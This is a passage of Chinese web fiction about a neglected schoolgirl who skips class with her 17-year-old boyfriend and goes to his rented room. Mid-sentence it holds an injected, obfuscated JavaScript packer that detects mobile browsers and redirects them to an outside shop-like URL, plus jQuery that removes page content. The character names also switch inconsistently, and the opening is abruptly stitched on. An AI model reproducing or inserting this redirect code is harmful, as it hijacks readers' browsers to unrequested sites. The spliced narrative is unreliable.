林昭进入房间后，映入眼帘的是一对校园情侣，时间写着2015年5月。他们手牵手走在校园的操场上，操场上来来往往的人群中，二人的牵手的行为明显在人群中倒显得突兀。突然地，天开始由暗变明，场景突然切换到学校走廊，可以瞥见教室里的人都在午休，此时的阳光从走廊西头照进来，把窗玻璃上的灰尘都照得清清楚楚。邬小满趴在栏杆上往下看，操场上有几个男生在打球，喊声隐隐约约传上来，听不清喊的什么。
她其实是在等人。
第三节课下课的时候周深给她递了张纸条，就两个字：老地方。她攥在手心里揉成一团，扔进桌洞里，然后又捡出来，塞进校服口袋里。
口袋有点破，纸条戳出去一个角。
她不想让别人看见。但更怕自己看不见。
周深是第四节课后翻墙出去的，她亲眼看见的。他翻墙的动作很熟练，双手撑住墙头，腿一甩就过去了，校服被风鼓起来一瞬，像一只灰扑扑的鸟。她站在女厕所的窗户后面看，心跳得很快，又觉得有点骄傲——那么多人喜欢他，只有她能让他写纸条。
老地方是学校后面那条巷子，第三根电线杆底下。那里有个监控死角，小卖部老板娘睁只眼闭只眼，从来不问他们为什么不上课。
林小满等到十二点四十才去。
她先去食堂转了一圈，打了饭，倒掉，然后把餐盘放到回收处。这样万一有人问，她可以说自己吃过饭了。
巷子里没有人。她站在第三根电线杆底下等了一会儿，脚趾在鞋里蜷起来又松开，松开又蜷起来。太阳晒得后脖颈发烫，她把手背过去挡着，有点后悔没扎头发。
周深是从巷子另一头过来的，手里拎着一个塑料袋。
“等多久了？”
“没一会儿。”
他把塑料袋塞给她：“趁热。”
里面是一份肯德基的汉堡，还有一杯奶茶。汉堡还是热的，隔着袋子烫她的手心。林小满低头看了一眼，没说话。
“怎么了？不想吃？”
“不是。”她抬起头，笑了一下，“就是……你怎么知道我想吃这个？”
周深没回答，伸手把她刘海上一根不知道哪来的线头捻下来，动作很轻，像捻一片掉在头发上的花瓣。
“吃吧，凉了就不好吃了。”
林小满咬了一口汉堡，面包很软，鸡肉是辣的，辣得她眼眶有点热。她假装被呛到，转过头咳了两声。
“慢点吃，又没人跟你抢。”
她没说话。她没法告诉他，这是她这半个月吃得最好的一顿。家里的冰箱早就空了，奶奶上周说要去买，但一直没去。爷爷的养老金刚够交电费和药钱，她开不了口要。
其实她也开了口。
上周她跟奶奶说想买个新书包，这个书包背了三年，拉链坏了，书老往外掉。奶奶看了她一眼，说等你爸妈打钱回来。然后就没然后了。
爸妈上个月打电话了吗？她不记得了。可能打了，可能没打。反正说的都是那几句：好好学习，听爷爷奶奶话，钱过两天打。过两天永远是过两天。
“想什么呢？”
周深的脸凑过来，离她很近。她看见他眼睛里有自己的影子，小小的，被阳光切成两半。
“没想什么。”
“吃完了？”
她低头看，汉堡不知什么时候已经吃完了，只剩包装纸皱巴巴地窝在手里。
“走吧，”周深站起来，伸手给她，“去我那儿待会儿。”
她把手放进他手心，被他拉起来。他的手很热，有点糙，握得很紧。
周深租的房子在学校后面那片自建房里，走十分钟就到。巷子很窄，两边墙上爬满青苔，地上总有积水，得踮着脚走。他走在前面，牵着她的手，时不时回头看她一眼，像怕她走丢。
楼梯是露天的，铁栏杆锈得不成样子，手扶上去一手红。爬到三楼，他掏出钥匙开门，门推开的时候吱呀一声，里面一股洗衣液的香味飘出来。
“坐。”
林小满在床边坐下。房间很小，一张床一张桌子一把椅子，桌子上摆着泡面碗和烟灰缸。窗帘拉着一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347220|199532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
半，光从缝隙里透进来，在墙上切出一道亮边。
周深倒了杯水给她，也在床边坐下。
“下午还回去吗？”
“第一节是班主任的课。”
“那就不回了。”
林小满没说话。她知道自己应该回去，班主任上周刚找过她，问她为什么老是上课走神，是不是家里有什么事。她摇头说没有。班主任看了她一会儿，说有什么事可以跟老师说。
能说什么呢？说她爸妈不管她？说她一天只吃一顿饭？说她跟一个十七岁的男生谈恋爱，因为他会给她买肯德基？
她说不出口。
周深的手搭在她肩上，把她往自己那边带了带。她顺势靠过去，头抵在他肩膀上，闻到他衣服上洗衣液的味道，还有一点点烟味。
“你爸妈今天打电话了吗？”
“没有。”
“那你爷爷奶奶呢？”
“他们不管我。”
周深没再问。他的手轻轻拍着她的手臂，像哄小孩睡觉。窗户外面有只猫在叫，叫一会儿停一会儿，叫一会儿停一会儿，不知道在叫什么。
“林小满。”
“嗯？”
“等以后，我养你。”
她抬起头看他。他的眼睛很黑，没有笑，是认真的。
“你拿什么养？”她问。
“我有手有脚，总能挣到钱。”
她盯着他看了几秒，又把头靠回去。胸口有什么东西在翻涌，说不清是酸还是暖。她想说你不也是个学生吗，你才十七岁，你能养我什么？但她没说。
她只是嗯了一声。
阳光在墙上慢慢移过去，从床脚移到床头，又从床头移到墙上。那只猫不叫了。楼下有人骑电动车经过，突突突的声音由远及近，再由近及远。
她不知道自己什么时候睡着的。醒过来的时候周深不在，桌上放着一杯新倒的水，还有一张纸条：我去买烟，马上回来。
她把纸条折好，塞进口袋里，和中午那张叠在一起。
口袋还是破的。